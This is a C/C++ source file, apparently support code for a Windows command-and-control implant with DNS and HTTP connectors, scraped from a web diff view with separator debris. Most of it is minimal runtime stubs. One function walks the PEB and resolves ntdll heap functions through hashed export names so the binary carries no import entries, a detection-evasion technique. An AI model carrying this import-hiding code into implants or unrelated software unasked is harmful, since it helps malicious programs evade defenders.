#define NAKED_FUNC __declspec(naked)
|
||||
#elif ASM_GCC_STYLE
|
||||
#define NAKED_FUNC __attribute__((naked))
|
||||
#endif
|
||||
|
||||
extern "C" {
|
||||
|
||||
// memset and memcpy are already provided by ApiLoader.cpp
|
||||
|
||||
// lstrcpynA replacement � ConnectorDNS uses it directly
|
||||
static char* __cdecl crt_lstrcpynA(char* dst, const char* src, int maxLen)
|
||||
{
|
||||
if (!dst) return dst;
|
||||
if (maxLen <= 0) return dst;
|
||||
int i = 0;
|
||||
while (i < maxLen - 1 && src[i]) {
|
||||
dst[i] = src[i];
|
||||
i++;
|
||||
}
|
||||
dst[i] = '\0';
|
||||
return dst;
|
||||
}
|
||||
|
||||
// Provide the __imp_ symbol that the linker looks for
|
||||
char* (__cdecl* __imp_lstrcpynA)(char*, const char*, int) = crt_lstrcpynA;
|
||||
|
||||
void* memmove(void* dest, const void* src, size_t n)
|
||||
{
|
||||
unsigned char* d = (unsigned char*)dest;
|
||||
const unsigned char* s = (const unsigned char*)src;
|
||||
if (d < s) {
|
||||
while (n--)
|
||||
*d++ = *s++;
|
||||
}
|
||||
else {
|
||||
d += n;
|
||||
s += n;
|
||||
while (n--)
|
||||
*--d = *--s;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
int memcmp(const void* s1, const void* s2, size_t n)
|
||||
{
|
||||
const unsigned char* a = (const unsigned char*)s1;
|
||||
const unsigned char* b = (const unsigned char*)s2;
|
||||
while (n--) {
|
||||
if (*a != *b)
|
||||
return *a - *b;
|
||||
a++;
|
||||
b++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t strlen(const char* s)
|
||||
{
|
||||
const char* p = s;
|
||||
while (*p)
|
||||
p++;
|
||||
return (size_t)(p - s);
|
||||
}
|
||||
|
||||
//
|
||||
// Heap functions for miniz (DNS builds need malloc/free/realloc).
|
||||
// Resolves RtlAllocateHeap/RtlFreeHeap/RtlReAllocateHeap from ntdll
|
||||
// using PEB walk � zero IAT entries.
|
||||
//
|
||||
|
||||
typedef void* (NTAPI* RtlAllocateHeap_t)(HANDLE, ULONG, SIZE_T);
|
||||
typedef BOOLEAN(NTAPI* RtlFreeHeap_t)(HANDLE, ULONG, PVOID);
|
||||
typedef void* (NTAPI* RtlReAllocateHeap_t)(HANDLE, ULONG, PVOID, SIZE_T);
|
||||
|
||||
static RtlAllocateHeap_t pRtlAllocateHeap = NULL;
|
||||
static RtlFreeHeap_t pRtlFreeHeap = NULL;
|
||||
static RtlReAllocateHeap_t pRtlReAllocateHeap = NULL;
|
||||
static HANDLE hProcessHeap = NULL;
|
||||
static int heapResolved = 0;
|
||||
|
||||
static unsigned long crt_djb2(const char* str)
|
||||
{
|
||||
unsigned long h = 5381;
|
||||
while (*str)
|
||||
h = ((h << 5) + h) + (unsigned char)*str++;
|
||||
return h;
|
||||
}
|
||||
|
||||
#define HASH_RtlAllocateHeap 0xc0b381da
|
||||
#define HASH_RtlFreeHeap 0x70ba71d7
|
||||
#define HASH_RtlReAllocateHeap 0xbbc97911
|
||||
|
||||
static void resolveHeapFunctions()
|
||||
{
|
||||
if (heapResolved)
|
||||
return;
|
||||
|
||||
// Get PEB via TEB segment register
|
||||
BYTE* pPeb;
|
||||
#ifdef _WIN64
|
||||
#if USE_MSVC_INTRINSICS
|
||||
pPeb = (BYTE*)__readgsqword(0x60);
|
||||
#elif ASM_GCC_STYLE
|
||||
asm volatile("mov %0, gs:[0x60]" : "=r"(pPeb));
|
||||
#endif
|
||||
// PEB+0x30 = ProcessHeap
|
||||
hProcessHeap = *(HANDLE*)(pPeb + 0x30);
|
||||
// PEB+0x18 = Ldr (PPEB_LDR_DATA)
|
||||
BYTE* ldr = *(BYTE**)(pPeb + 0x18);
|
||||
#else
|
||||
#if USE_MSVC_INTRINSICS
|
||||
pPeb = (BYTE*)__readfsdword(0x30);
|
||||
#elif ASM_GCC_STYLE
|
||||
asm volatile("mov %0, fs:[0x30]" : "=r"(pPeb));
|
||||
#endif
|
||||
hProcessHeap = *(HANDLE*)(pPeb + 0x18);
|
||||
BYTE* ldr = *(BYTE**)(pPeb + 0x0C);
|
||||
#endif
|
||||
|
||||
// Ldr+0x10 (x64) or Ldr+0x0C (x86) = InLoadOrderModuleList
|
||||
#ifdef _WIN64
|
||||
LIST_ENTRY* head = (LIST_ENTRY*)(ldr + 0x10);
|
||||
#else
|
||||
LIST_ENTRY* head = (LIST_ENTRY*)(ldr + 0x0C);
|
||||
#endif
|
||||
LIST_ENTRY* entry = head->Flink;
|
||||
|
||||
while (entry != head) {
|
||||
// LDR_DATA_TABLE_ENTRY: InLoadOrderLinks at offset 0
|
||||
// BaseDllName at offset 0x58 (x64) or 0x2C (x86) � UNICODE_STRING
|
||||
// DllBase at offset 0x30 (x64) or 0x18 (x86)
|
||||
BYTE* mod = (BYTE*)entry;
|
||||
|
||||
#ifdef _WIN64
|
||||
PVOID dllBase = *(PVOID*)(mod + 0x30);
|
||||
USHORT nameLen = *(USHORT*)(mod + 0x58);
|
||||
WCHAR* nameBuf = *(WCHAR**)(mod + 0x58 + 0x08);
|
||||
#else
|
||||
PVOID dllBase = *(PVOID*)(mod + 0x18);
|
||||
USHORT nameLen = *(USHORT*)(mod + 0x2C);
|
||||
WCHAR* nameBuf = *(WCHAR**)(mod + 0x2C + 0x04);
|
||||
#endif
|
||||
|
||||
// Check if this is ntdll.dll (case-insensitive, "ntdll.dll" = 9 chars)
|
||||
if (nameLen >= 9 * 2 && nameBuf) {
|
||||
WCHAR c0 = nameBuf[0] | 0x20;
|
||||
WCHAR c1 = nameBuf[1] | 0x20;
|
||||
WCHAR c2 = nameBuf[2] | 0x20;
|
||||
WCHAR c3 = nameBuf[3] | 0x20;
|
||||
WCHAR c4 = nameBuf[4] | 0x20;
|
||||
|
||||
if (c0 == L'n' && c1 == L't' && c2 == L'd' && c3 == L'l' && c4 == L'l' && nameBuf[5] == L'.') {
|
||||
PBYTE base = (PBYTE)dllBase;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
|
||||
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
DWORD* names = (DWORD*)(base + exports->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)(base + exports->AddressOfNameOrdinals);
|
||||
DWORD* functions = (DWORD*)(base + exports->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
|
||||
char* fname = (char*)(base + names[i]);
|
||||
unsigned long h = crt_djb2(fname);
|
||||
|
||||
if (h == HASH_RtlAllocateHeap && !pRtlAllocateHeap)
|
||||
pRtlAllocateHeap = (RtlAllocateHeap_t)(base + functions[ordinals[i]]);
|
||||
else if (h == HASH_RtlFreeHeap && !pRtlFreeHeap)
|
||||
pRtlFreeHeap = (RtlFreeHeap_t)(base + functions[ordinals[i]]);
|
||||
else if (h == HASH_RtlReAllocateHeap && !pRtlReAllocateHeap)
|
||||
pRtlReAllocateHeap = (RtlReAllocateHeap_t)(base + functions[ordinals[i]]);
|
||||
|
||||
if (pRtlAllocateHeap && pRtlFreeHeap && pRtlReAllocateHeap)
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
entry = entry->Flink;
|
||||
}
|
||||
|
||||
heapResolved = 1;
|
||||
}
|
||||
|
||||
void* malloc(size_t size)
|
||||
{
|
||||
if (!heapResolved)
|
||||
resolveHeapFunctions();
|
||||
if (!pRtlAllocateHeap || !hProcessHeap)
|
||||
return NULL;
|
||||
return pRtlAllocateHeap(hProcessHeap, 0, size);
|
||||
}
|
||||
|
||||
void free(void* ptr)
|
||||
{
|
||||
if (!ptr)
|
||||
return;
|
||||
if (!heapResolved)
|
||||
resolveHeapFunctions();
|
||||
if (pRtlFreeHeap && hProcessHeap)
|
||||
pRtlFreeHeap(hProcessHeap, 0, ptr);
|
||||
}
|
||||
|
||||
void* calloc(size_t num, size_t size)
|
||||
{
|
||||
if (!heapResolved)
|
||||
resolveHeapFunctions();
|
||||
if (!pRtlAllocateHeap || !hProcessHeap)
|
||||
return NULL;
|
||||
size_t total = num * size;
|
||||
return pRtlAllocateHeap(hProcessHeap, HEAP_ZERO_MEMORY, total);
|
||||
}
|
||||
|
||||
void* realloc(void* ptr, size_t size)
|
||||
{
|
||||
if (!heapResolved)
|
||||
resolveHeapFunctions();
|
||||
if (!hProcessHeap)
|
||||
return NULL;
|
||||
if (!ptr)
|
||||
return pRtlAllocateHeap(hProcessHeap, 0, size);
|
||||
if (size == 0) {
|
||||
pRtlFreeHeap(hProcessHeap, 0, ptr);
|
||||
return NULL;
|
||||
}
|
||||
return pRtlReAllocateHeap(hProcessHeap, 0, ptr, size);
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
// Stack probe functions (__chkstk / ___chkstk_ms)
|
||||
// Required when local variables exceed page size (4KB)
|
||||
//=============================================================================
|
||||
|
||||
#if ASM_GCC_STYLE
|
||||
// GCC/Clang/MinGW/Zig: emit __main stub for static constructor init
|
||||
void __main(void) {}
|
||||
|
||||
#ifdef _WIN64
|
||||
NAKED_FUNC void ___chkstk_ms(void)
|
||||
{
|
||||
asm volatile(
|
||||
"push rcx\n"
|
||||
"push rax\n"
|
||||
"cmp rax, 0x1000\n"
|
||||
"lea rcx, [rsp + 24]\n"
|
||||
"jb 2f\n"
|
||||
"1:\n"
|
||||
"sub rcx, 0x1000\n"
|
||||
"test [rcx], rcx\n"
|
||||
"sub rax, 0x1000\n"
|
||||
"cmp rax, 0x1000\n"
|
||||
"ja 1b\n"
|
||||
"2:\n"
|
||||
"sub rcx, rax\n"
|
||||
"test [rcx], rcx\n"
|
||||
"pop rax\n"
|
||||
"pop rcx\n"
|
||||
"ret\n"
|
||||
);
|
||||
}
|
||||
|
||||
// Clang on Windows may call __chkstk instead of ___chkstk_ms
|
||||
NAKED_FUNC void __chkstk(void)
|
||||
{
|
||||
asm volatile(
|
||||
"push rcx\n"
|
||||
"push rax\n"
|
||||
"cmp rax, 0x1000\n"
|
||||
"lea rcx, [rsp + 24]\n"
|
||||
"jb 2f\n"
|
||||
"1:\n"
|
||||
"sub rcx, 0x1000\n"
|
||||
"test [rcx], rcx\n"
|
||||
"sub rax, 0x1000\n"
|
||||
"cmp rax, 0x1000\n"
|
||||
"ja 1b\n"
|
||||
"2:\n"
|
||||
"sub rcx, rax\n"
|
||||
"test [rcx], rcx\n"
|
||||
"pop rax\n"
|
||||
"pop rcx\n"
|
||||
"ret\n"
|
||||
);
|
||||
}
|
||||
#else // x86
|
||||
NAKED_FUNC void ___chkstk_ms(void)
|
||||
{
|
||||
asm volatile(
|
||||
"push ecx\n"
|
||||
"push eax\n"
|
||||
"cmp eax, 0x1000\n"
|
||||
"lea ecx, [esp + 12]\n"
|
||||
"jb 2f\n"
|
||||
"1:\n"
|
||||
"sub ecx, 0x1000\n"
|
||||
"test [ecx], ecx\n"
|
||||
"sub eax, 0x1000\n"
|
||||
"cmp eax, 0x1000\n"
|
||||
"ja 1b\n"
|
||||
"2:\n"
|
||||
"sub ecx, eax\n"
|
||||
"test [ecx], ecx\n"
|
||||
"pop eax\n"
|
||||
"pop ecx\n"
|
||||
"ret\n"
|
||||
);
|
||||
}
|
||||
|
||||
NAKED_FUNC void __chkstk(void)
|
||||
{
|
||||
asm volatile(
|
||||
"push ecx\n"
|
||||
"push eax\n"
|
||||
"cmp eax, 0x1000\n"
|
||||
"lea ecx, [esp + 12]\n"
|
||||
"jb 2f\n"
|
||||
"1:\n"
|
||||
"sub ecx, 0x1000\n"
|
||||
"test [ecx], ecx\n"
|
||||
"sub eax, 0x1000\n"
|
||||
"cmp eax, 0x1000\n"
|
||||
"ja 1b\n"
|
||||
"2:\n"
|
||||
"sub ecx, eax\n"
|
||||
"test [ecx], ecx\n"
|
||||
"pop eax\n"
|
||||
"pop ecx\n"
|
||||
"ret\n"
|
||||
);
|
||||
}
|
||||
|
||||
// Some linkers look for _alloca or _chkstk aliases
|
||||
NAKED_FUNC void _chkstk(void)
|
||||
{
|
||||
asm volatile("jmp ___chkstk_ms\n");
|
||||
}
|
||||
|
||||
#ifdef _alloca
|
||||
#undef _alloca
|
||||
#endif
|
||||
NAKED_FUNC void _alloca(void)
|
||||
{
|
||||
asm volatile("jmp ___chkstk_ms\n");
|
||||
}
|
||||
#endif // _WIN64
|
||||
|
||||
#elif COMPILER_MSVC
|
||||
// MSVC: x86 uses inline asm, x64 requires external chkstk_x64.asm
|
||||
#if !defined(_WIN64)
|
||||
NAKED_FUNC void __cdecl _chkstk(void)
|
||||
{
|
||||
__asm {
|
||||
push ecx
|
||||
push eax
|
||||
cmp eax, 1000h
|
||||
lea ecx, [esp + 12]
|
||||
jb done
|
||||
probe_loop :
|
||||
sub ecx, 1000h
|
||||
test[ecx], ecx
|
||||
sub eax, 1000h
|
||||
cmp eax, 1000h
|
||||
ja probe_loop
|
||||
done :
|
||||
sub ecx, eax
|
||||
test[ecx], ecx
|
||||
pop eax
|
||||
pop ecx
|
||||
ret
|
||||
}
|
||||
}
|
||||
#endif // !_WIN64
|
||||
#endif // COMPILER_MSVC
|
||||
|
||||
} // extern "C"
|
||||
|
||||
//=============================================================================
|
||||
// Minimal RTTI type_info stubs for -nostdlib linking.
|
||||
// The Itanium C++ ABI (GCC/MinGW) emits RTTI references for classes with
|
||||
// virtual methods. Without libstdc++ we must provide the vtables ourselves.
|
||||
// __class_type_info – classes with no base (Connector)
|
||||
// __si_class_type_info – single-inheritance derived classes (ConnectorHTTP…)
|
||||
//=============================================================================
|
||||
|
||||
#if COMPILER_GCC || COMPILER_CLANG
|
||||
|
||||
void operator delete(void* p, unsigned long long) noexcept { free(p); }
|
||||
void operator delete(void* p) noexcept { free(p); }
|
||||
|
||||
namespace std {
|
||||
class type_info {
|
||||
public:
|
||||
virtual ~type_info();
|
||||
protected:
|
||||
const char* __name;
|
||||
};
|
||||
type_info::~type_info() {}
|
||||
}
|
||||
|
||||
namespace __cxxabiv1 {
|
||||
|
||||
class __class_type_info : public std::type_info {
|
||||
public:
|
||||
virtual ~__class_type_info();
|
||||
};
|
||||
__class_type_info::~__class_type_info() {}
|
||||
|
||||
class __si_class_type_info : public __class_type_info {
|
||||
public:
|
||||
virtual ~__si_class_type_info();
|
||||
};
|
||||
__si_class_type_info::~__si_class_type_info() {}
|
||||
|
||||
}
|
||||
|
||||
#endif // COMPILER_GCC || COMPILER_CLANG
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user